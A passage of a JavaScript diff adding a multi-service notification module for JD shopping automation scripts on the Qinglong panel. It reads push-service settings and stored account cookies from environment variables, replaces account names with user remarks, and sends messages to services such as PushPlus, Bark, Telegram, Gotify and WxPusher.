(process.env.IGOT_PUSH_KEY && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY; + } + + if (process.env.PUSH_PLUS_TOKEN && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN; + } + if (process.env.PUSH_PLUS_USER && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip; + } + if (process.env.PUSH_PLUS_USER_hxtrip && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip; + } + if (process.env.GOTIFY_URL) { + GOTIFY_URL = process.env.GOTIFY_URL; + } + if (process.env.GOTIFY_TOKEN) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN; + } + if (process.env.GOTIFY_PRIORITY) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY; + } + + break; + + case 2: + //==========================第二套环境变量赋值========================= + + if (process.env.GOBOT_URL2 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL2; + } + if (process.env.GOBOT_TOKEN2 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN2; + } + if (process.env.GOBOT_QQ2 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ2; + } + + if (process.env.PUSH_KEY2 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY2; + } + + if (process.env.WP_APP_TOKEN2 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN2; + } + + if (process.env.WP_TOPICIDS2 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS2; + } + + if (process.env.WP_UIDS2 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS2; + } + + if (process.env.WP_URL2 && Use_WxPusher) { + WP_URL = process.env.WP_URL2; + } + if (process.env.BARK_PUSH2 && Use_BarkNotify) { + if (process.env.BARK_PUSH2.indexOf('https') > -1 || process.env.BARK_PUSH2.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH2; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH2}`; + } + if (process.env.BARK_SOUND2) { + BARK_SOUND = process.env.BARK_SOUND2; + } + if (process.env.BARK_GROUP2) { + BARK_GROUP = process.env.BARK_GROUP2; + } + } + if (process.env.TG_BOT_TOKEN2 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN2; + } + if (process.env.TG_USER_ID2 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID2; + } + if (process.env.TG_PROXY_AUTH2 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH2; + if (process.env.TG_PROXY_HOST2 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST2; + if (process.env.TG_PROXY_PORT2 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT2; + if (process.env.TG_API_HOST2 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST2; + + if (process.env.DD_BOT_TOKEN2 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN2; + if (process.env.DD_BOT_SECRET2) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET2; + } + } + + if (process.env.QYWX_KEY2 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY2; + } + + if (process.env.QYWX_AM2 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM2; + } + + if (process.env.IGOT_PUSH_KEY2 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY2; + } + + if (process.env.PUSH_PLUS_TOKEN2 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN2; + } + if (process.env.PUSH_PLUS_USER2 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER2; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip2 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip2; + } + if (process.env.PUSH_PLUS_USER_hxtrip2 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip2; + } + if (process.env.GOTIFY_URL2) { + GOTIFY_URL = process.env.GOTIFY_URL2; + } + if (process.env.GOTIFY_TOKEN2) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN2; + } + if (process.env.GOTIFY_PRIORITY2) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY2; + } + break; + + case 3: + //==========================第三套环境变量赋值========================= + + if (process.env.GOBOT_URL3 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL3; + } + if (process.env.GOBOT_TOKEN3 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN3; + } + if (process.env.GOBOT_QQ3 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ3; + } + + if (process.env.PUSH_KEY3 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY3; + } + + if (process.env.WP_APP_TOKEN3 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN3; + } + + if (process.env.WP_TOPICIDS3 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS3; + } + + if (process.env.WP_UIDS3 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS3; + } + + if (process.env.WP_URL3 && Use_WxPusher) { + WP_URL = process.env.WP_URL3; + } + + if (process.env.BARK_PUSH3 && Use_BarkNotify) { + if (process.env.BARK_PUSH3.indexOf('https') > -1 || process.env.BARK_PUSH3.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH3; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH3}`; + } + if (process.env.BARK_SOUND3) { + BARK_SOUND = process.env.BARK_SOUND3; + } + if (process.env.BARK_GROUP3) { + BARK_GROUP = process.env.BARK_GROUP3; + } + } + if (process.env.TG_BOT_TOKEN3 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN3; + } + if (process.env.TG_USER_ID3 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID3; + } + if (process.env.TG_PROXY_AUTH3 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH3; + if (process.env.TG_PROXY_HOST3 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST3; + if (process.env.TG_PROXY_PORT3 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT3; + if (process.env.TG_API_HOST3 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST3; + + if (process.env.DD_BOT_TOKEN3 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN3; + if (process.env.DD_BOT_SECRET3) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET3; + } + } + + if (process.env.QYWX_KEY3 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY3; + } + + if (process.env.QYWX_AM3 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM3; + } + + if (process.env.IGOT_PUSH_KEY3 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY3; + } + + if (process.env.PUSH_PLUS_TOKEN3 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN3; + } + if (process.env.PUSH_PLUS_USER3 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER3; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip3 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip3; + } + if (process.env.PUSH_PLUS_USER_hxtrip3 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip3; + } + if (process.env.GOTIFY_URL3) { + GOTIFY_URL = process.env.GOTIFY_URL3; + } + if (process.env.GOTIFY_TOKEN3) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN3; + } + if (process.env.GOTIFY_PRIORITY3) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY3; + } + break; + + case 4: + //==========================第四套环境变量赋值========================= + + if (process.env.GOBOT_URL4 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL4; + } + if (process.env.GOBOT_TOKEN4 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN4; + } + if (process.env.GOBOT_QQ4 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ4; + } + + if (process.env.PUSH_KEY4 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY4; + } + + if (process.env.WP_APP_TOKEN4 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN4; + } + + if (process.env.WP_TOPICIDS4 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS4; + } + + if (process.env.WP_UIDS4 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS4; + } + + if (process.env.WP_URL4 && Use_WxPusher) { + WP_URL = process.env.WP_URL4; + } + + if (process.env.BARK_PUSH4 && Use_BarkNotify) { + if (process.env.BARK_PUSH4.indexOf('https') > -1 || process.env.BARK_PUSH4.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH4; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH4}`; + } + if (process.env.BARK_SOUND4) { + BARK_SOUND = process.env.BARK_SOUND4; + } + if (process.env.BARK_GROUP4) { + BARK_GROUP = process.env.BARK_GROUP4; + } + } + if (process.env.TG_BOT_TOKEN4 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN4; + } + if (process.env.TG_USER_ID4 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID4; + } + if (process.env.TG_PROXY_AUTH4 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH4; + if (process.env.TG_PROXY_HOST4 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST4; + if (process.env.TG_PROXY_PORT4 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT4; + if (process.env.TG_API_HOST4 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST4; + + if (process.env.DD_BOT_TOKEN4 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN4; + if (process.env.DD_BOT_SECRET4) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET4; + } + } + + if (process.env.QYWX_KEY4 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY4; + } + + if (process.env.QYWX_AM4 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM4; + } + + if (process.env.IGOT_PUSH_KEY4 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY4; + } + + if (process.env.PUSH_PLUS_TOKEN4 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN4; + } + if (process.env.PUSH_PLUS_USER4 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER4; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip4 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip4; + } + if (process.env.PUSH_PLUS_USER_hxtrip4 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip4; + } + if (process.env.GOTIFY_URL4) { + GOTIFY_URL = process.env.GOTIFY_URL4; + } + if (process.env.GOTIFY_TOKEN4) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN4; + } + if (process.env.GOTIFY_PRIORITY4) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY4; + } + break; + + case 5: + //==========================第五套环境变量赋值========================= + + if (process.env.GOBOT_URL5 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL5; + } + if (process.env.GOBOT_TOKEN5 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN5; + } + if (process.env.GOBOT_QQ5 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ5; + } + + if (process.env.PUSH_KEY5 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY5; + } + + if (process.env.WP_APP_TOKEN5 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN5; + } + + if (process.env.WP_TOPICIDS5 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS5; + } + + if (process.env.WP_UIDS5 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS5; + } + + if (process.env.WP_URL5 && Use_WxPusher) { + WP_URL = process.env.WP_URL5; + } + if (process.env.BARK_PUSH5 && Use_BarkNotify) { + if (process.env.BARK_PUSH5.indexOf('https') > -1 || process.env.BARK_PUSH5.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH5; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH5}`; + } + if (process.env.BARK_SOUND5) { + BARK_SOUND = process.env.BARK_SOUND5; + } + if (process.env.BARK_GROUP5) { + BARK_GROUP = process.env.BARK_GROUP5; + } + } + if (process.env.TG_BOT_TOKEN5 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN5; + } + if (process.env.TG_USER_ID5 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID5; + } + if (process.env.TG_PROXY_AUTH5 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH5; + if (process.env.TG_PROXY_HOST5 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST5; + if (process.env.TG_PROXY_PORT5 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT5; + if (process.env.TG_API_HOST5 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST5; + + if (process.env.DD_BOT_TOKEN5 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN5; + if (process.env.DD_BOT_SECRET5) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET5; + } + } + + if (process.env.QYWX_KEY5 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY5; + } + + if (process.env.QYWX_AM5 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM5; + } + + if (process.env.IGOT_PUSH_KEY5 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY5; + } + + if (process.env.PUSH_PLUS_TOKEN5 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN5; + } + if (process.env.PUSH_PLUS_USER5 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER5; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip5 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip5; + } + if (process.env.PUSH_PLUS_USER_hxtrip5 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip5; + } + if (process.env.GOTIFY_URL5) { + GOTIFY_URL = process.env.GOTIFY_URL5; + } + if (process.env.GOTIFY_TOKEN5) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN5; + } + if (process.env.GOTIFY_PRIORITY5) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY5; + } + break; + + case 6: + //==========================第六套环境变量赋值========================= + + if (process.env.GOBOT_URL6 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL6; + } + if (process.env.GOBOT_TOKEN6 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN6; + } + if (process.env.GOBOT_QQ6 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ6; + } + + if (process.env.PUSH_KEY6 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY6; + } + + if (process.env.WP_APP_TOKEN6 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN6; + } + + if (process.env.WP_TOPICIDS6 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS6; + } + + if (process.env.WP_UIDS6 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS6; + } + + if (process.env.WP_URL6 && Use_WxPusher) { + WP_URL = process.env.WP_URL6; + } + if (process.env.BARK_PUSH6 && Use_BarkNotify) { + if (process.env.BARK_PUSH6.indexOf('https') > -1 || process.env.BARK_PUSH6.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH6; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH6}`; + } + if (process.env.BARK_SOUND6) { + BARK_SOUND = process.env.BARK_SOUND6; + } + if (process.env.BARK_GROUP6) { + BARK_GROUP = process.env.BARK_GROUP6; + } + } + if (process.env.TG_BOT_TOKEN6 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN6; + } + if (process.env.TG_USER_ID6 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID6; + } + if (process.env.TG_PROXY_AUTH6 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH6; + if (process.env.TG_PROXY_HOST6 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST6; + if (process.env.TG_PROXY_PORT6 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT6; + if (process.env.TG_API_HOST6 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST6; + + if (process.env.DD_BOT_TOKEN6 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN6; + if (process.env.DD_BOT_SECRET6) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET6; + } + } + + if (process.env.QYWX_KEY6 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY6; + } + + if (process.env.QYWX_AM6 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM6; + } + + if (process.env.IGOT_PUSH_KEY6 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY6; + } + + if (process.env.PUSH_PLUS_TOKEN6 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN6; + } + if (process.env.PUSH_PLUS_USER6 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER6; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip6 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip6; + } + if (process.env.PUSH_PLUS_USER_hxtrip6 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip6; + } + if (process.env.GOTIFY_URL6) { + GOTIFY_URL = process.env.GOTIFY_URL6; + } + if (process.env.GOTIFY_TOKEN6) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN6; + } + if (process.env.GOTIFY_PRIORITY6) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY6; + } + break; + } + + //检查是否在不使用Remark进行名称替换的名单 + const notifySkipRemarkList = process.env.NOTIFY_SKIP_NAMETYPELIST ? process.env.NOTIFY_SKIP_NAMETYPELIST.split('&') : []; + const titleIndex3 = notifySkipRemarkList.findIndex((item) => item === strTitle); + + if (text == "京东到家果园互助码:") { + ShowRemarkType = "1"; + if (desp) { + var arrTemp = desp.split(","); + var allCode = ""; + for (let k = 0; k < arrTemp.length; k++) { + if (arrTemp[k]) { + if (arrTemp[k].substring(0, 1) != "@") + allCode += arrTemp[k] + ","; + } + } + + if (allCode) { + desp += '\n' + '\n' + "ccwav格式化后的互助码:" + '\n' + allCode; + } + } + } + + if (ShowRemarkType != "1" && titleIndex3 == -1) { + console.log("正在处理账号Remark....."); + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.nickName = ""; + $.Remark = envs[i].remarks || ''; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + + //这是为了处理ninjia的remark格式 + $.Remark = $.Remark.replace("remark=", ""); + $.Remark = $.Remark.replace(";", ""); + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + + try { + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + + text = text.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + //console.log("额外处理2:"+tempname); + text = text.replace(new RegExp(tempname, 'gm'), $.Remark); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + + //console.log($.nickName+$.Remark); + + } + + } + + } + console.log("处理完成,开始发送通知..."); + } + } catch (error) { + console.error(error); + } + + if (boolneedUpdate) { + var str = JSON.stringify(TempCK, null, 2); + fs.writeFile(strCKFile, str, function (err) { + if (err) { + console.log(err); + console.log("更新CKName_cache.json失败!"); + } else { + console.log("缓存文件CKName_cache.json更新成功!"); + } + }) + } + + //提供6种通知 + if (strAuthor) + desp += '\n\n本通知 By ' + strAuthor + "\n通知时间: " + GetDateTime(new Date()); + else + desp += author + "\n通知时间: " + GetDateTime(new Date()); + + await serverNotify(text, desp); //微信server酱 + + if (PUSH_PLUS_TOKEN_hxtrip) { + console.log("hxtrip TOKEN :" + PUSH_PLUS_TOKEN_hxtrip); + } + if (PUSH_PLUS_USER_hxtrip) { + console.log("hxtrip USER :" + PUSH_PLUS_USER_hxtrip); + } + PushErrorTime = 0; + await pushPlusNotifyhxtrip(text, desp); //pushplushxtrip(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotifyhxtrip(text, desp); + } + + if (PUSH_PLUS_TOKEN) { + console.log("PUSH_PLUS TOKEN :" + PUSH_PLUS_TOKEN); + } + if (PUSH_PLUS_USER) { + console.log("PUSH_PLUS USER :" + PUSH_PLUS_USER); + } + PushErrorTime = 0; + await pushPlusNotify(text, desp); //pushplus(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + } + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + + } + + //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动 + text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + BarkNotify(text, desp, params), //iOS Bark APP + tgBotNotify(text, desp), //telegram 机器人 + ddBotNotify(text, desp), //钉钉机器人 + qywxBotNotify(text, desp), //企业微信机器人 + qywxamNotify(text, desp), //企业微信应用消息推送 + iGotNotify(text, desp, params), //iGot + gobotNotify(text, desp), //go-cqhttp + gotifyNotify(text, desp), //gotify + wxpusherNotify(text, desp) // wxpusher + ]); +} + +async function sendNotifybyWxPucher(text, desp, PtPin, author = '\n\n本通知 By ccwav Mod') { + + try { + var Uid = ""; + var UserRemark = []; + var llShowRemark = "false"; + strAuthor = ""; + if (process.env.NOTIFY_AUTHOR) { + strAuthor = process.env.NOTIFY_AUTHOR; + } + + if (process.env.WP_APP_ONE_TEXTSHOWREMARK) { + llShowRemark = process.env.WP_APP_ONE_TEXTSHOWREMARK; + } + if (WP_APP_TOKEN_ONE) { + if (TempCKUid) { + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + Uid = TempCKUid[j].Uid; + } + } + } + if (Uid) { + console.log("查询到Uid :" + Uid); + WP_UIDS_ONE = Uid; + console.log("正在发送一对一通知,请稍后..."); + if (strAuthor) + desp += '\n\n本通知 By ' + strAuthor; + else + desp += author; + + if (llShowRemark == "true") { + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if (PtPin != $.UserName) + continue; + $.nickName = ""; + $.Remark = envs[i].remarks || ''; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + console.log("正在处理账号Remark....."); + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + //这是为了处理ninjia的remark格式 + $.Remark = $.Remark.replace("remark=", ""); + $.Remark = $.Remark.replace(";", ""); + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + text = text + " (" + $.Remark + ")"; + //console.log($.nickName+$.Remark); + console.log("处理完成,开始发送通知..."); + } + + } + + } + + } + await wxpusherNotifyByOne(text, desp); + } else { + console.log("未查询到用户的Uid,取消一对一通知发送..."); + } + } else { + console.log("变量WP_APP_TOKEN_ONE未配置WxPusher的appToken, 取消发送..."); + + } + } catch (error) { + console.error(error); + } + +} + +function gotifyNotify(text, desp) { + return new Promise((resolve) => { + if (GOTIFY_URL && GOTIFY_TOKEN) { + const options = { + url: `${GOTIFY_URL}/message?token=${GOTIFY_TOKEN}`, + body: `title=${encodeURIComponent(text)}&message=${encodeURIComponent(desp)}&priority=${GOTIFY_PRIORITY}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('gotify发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.id) { + console.log('gotify发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function gobotNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (GOBOT_URL) { + const options = { + url: `${GOBOT_URL}?access_token=${GOBOT_TOKEN}&${GOBOT_QQ}`, + json: { + message: `${text}\n${desp}` + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送go-cqhttp通知调用API失败!!\n'); + 